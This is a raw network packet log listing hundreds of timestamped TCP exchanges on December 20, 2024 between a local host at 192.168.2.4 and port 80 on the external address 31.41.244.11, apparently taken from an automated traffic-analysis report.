Dec 20, 2024 09:12:51.658587933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.658631086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.659441948 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.659487009 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.659544945 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.659585953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.660345078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.660423994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.660495043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.660538912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.661290884 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.661356926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.803658009 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.803735018 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.803865910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.803906918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.804088116 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.804188967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.804234982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.804842949 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.804893970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.805000067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.805042982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.805814028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.805879116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.805969954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.806085110 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.806778908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.806839943 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.806885004 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.806936979 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.807710886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.807790041 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.807845116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.808672905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.808732986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.808769941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.808810949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.809595108 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.809644938 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.809689045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.809798002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.810548067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.810623884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.810755968 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.810796976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.811505079 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.811568022 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.811599970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.811649084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.812444925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.812556982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.812617064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.813405037 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.813481092 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.813517094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.813560963 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.814402103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.814516068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.814575911 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.815370083 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.815418959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.815489054 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.815541983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.816242933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.816406012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.816468000 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.817204952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.817270041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.817306995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.817343950 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.818166018 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.818217039 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.818269968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.819123983 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.819242954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.819308043 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.820070028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.820142031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.820179939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.820224047 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.821010113 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.821080923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.821151972 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.821192980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.821964979 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.822026968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.822068930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.822223902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.822911024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.822962999 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.823007107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.823045015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.823844910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.823904037 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.823946953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.823990107 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.824832916 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.824892998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.824961901 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.825166941 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.825779915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.825829029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.825876951 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.825920105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.826714993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.826771975 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.826816082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.826864004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.827678919 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.827723980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.827763081 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.827806950 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.828648090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.828860998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.828929901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.829567909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.829627037 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.829669952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.829823017 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.830528021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.830578089 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.830621004 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.830663919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.831489086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.831671953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.831743002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.832433939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.832499981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.832544088 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.832588911 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.833395958 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.833515882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.834034920 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.834335089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.834506989 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.835323095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.835397959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.835866928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.836245060 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.836292982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.836354971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.836395979 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.837198973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.837243080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.837301970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.837343931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.838166952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.838218927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.838349104 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.838392973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.839063883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.839183092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.839231014 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.840060949 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.840120077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.840156078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.840202093 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.840993881 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.841069937 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.841104031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.841154099 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.841952085 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.842137098 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.842267036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.842874050 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.842948914 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.842982054 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.843024969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.843846083 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.843899012 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.843941927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.843981981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.844789028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.844844103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.844893932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.844944000 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.845812082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.845875978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.845921993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.845963001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.846704006 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.846755981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.846808910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.846852064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.847671032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.847752094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.847820044 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.848577023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.848627090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.848701954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.848747969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.849549055 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.849611998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.849708080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.849766970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.850435972 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.850486994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.850513935 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.850575924 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.851002932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.851063967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.851109028 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.851939917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.851989985 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.852058887 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.852112055 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.852896929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.852957010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.853001118 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.853046894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.995942116 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.995984077 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.996064901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.996162891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.996217966 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.996375084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.996426105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.996505022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.996551037 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.997354031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.997407913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.997543097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.997591972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.998290062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.998337030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.998414993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.998460054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.999248981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.999387980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.999437094 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.000181913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.000236988 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.000302076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.000348091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.001138926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.001188040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.001252890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.001297951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.002124071 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.002172947 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.002230883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.002271891 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.003035069 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.003236055 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.003284931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.004009962 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.004079103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.004143953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.004266977 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.004940033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.004998922 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.005063057 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.005109072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.005908012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.006006956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.006016016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.006058931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.006854057 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.006902933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.006980896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.007791996 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.007838964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.007946968 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.007996082 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.008775949 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.008837938 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.008958101 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.009006977 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.009727001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.009774923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.009907007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.009953022 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.010658026 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.010703087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.010782003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.010832071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.011677980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.011814117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.011863947 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.012571096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.012619019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.012676001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.012725115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.013561964 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.013624907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.013806105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.013854980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.014458895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.014504910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.014601946 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.014659882 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.015438080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.015566111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.015614986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.016386032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.016490936 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.016510010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.016554117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.017302990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.017381907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.017427921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.017520905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.018289089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.018337011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.018377066 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.018420935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.019226074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.019279003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.019328117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.020191908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.020246029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.020298958 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.020345926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.021133900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.021187067 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.021241903 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.021287918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.022097111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.022149086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.022228003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.022274017 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.023056984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.023180008 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.023231030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.024177074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.024230957 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.024240017 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.024276972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.024976969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.025028944 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.025033951 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.025079966 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.025904894 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.025959015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.025994062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.026040077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.026889086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.026958942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.026966095 CET	80	49874	31.41.244.11	192.168.2.4
